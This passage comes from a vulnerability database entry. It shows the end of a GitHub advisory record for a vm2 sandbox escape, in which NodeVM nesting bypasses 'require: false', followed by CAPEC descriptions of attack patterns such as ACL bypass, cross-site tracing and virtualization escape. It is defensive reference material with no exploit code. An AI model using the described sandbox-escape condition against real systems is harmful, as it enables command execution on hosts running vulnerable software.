false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.",
"id": "GHSA-8hg8-63c5-gwmx",
"modified": "2026-05-14T20:37:04Z",
"published": "2026-05-07T05:13:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44007"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/05/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution"
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-20: Encryption Brute Forcing
An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-237: Escaping a Sandbox by Calling Code in Another Language
The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content
An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.
CAPEC-480: Escaping Virtualization
An adversary gains access to an application, service, or device with the privileges of an authorized or privileged user by escaping the confines of a virtualized environment. The adversary is then able to access resources or execute unauthorized code within the host environment, generally with the privileges of the user running the virtualized process. Successfully executing an attack of this type is often the first step in executing more complex attacks.
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-65: Sniff Application Code
An adversary passively sniffs network communications and captures application code bound for an authorized client. Once obtained, they can use it as-is, or through reverse-engineering glean sensitive information or exploit the trust relationship between the client and server. Such code may belong to a dynamic update to the client, a patch being applied to a client component or any such interaction where the client is authorized to communicate with the server.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-74: Manipulating State
The adversary modifies state information maintained by the target software or causes a state transition in hardware. If successful, the target will use this tainted state and execute in an unintended manner.
State management is an important function within a software application. User state maintained by the application can include usernames, payment information, browsing history as well as application-specific contents such as items in a shopping cart. Manipulating user state can be employed by an adversary to elevate privilege, conduct fraudulent transactions or otherwise modify the flow of the application to derive certain benefits.
If there is a hardware logic error in a finite state machine, the adversary can use this to put the system in an undefined state which could cause a denial of service or exposure of secure data.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.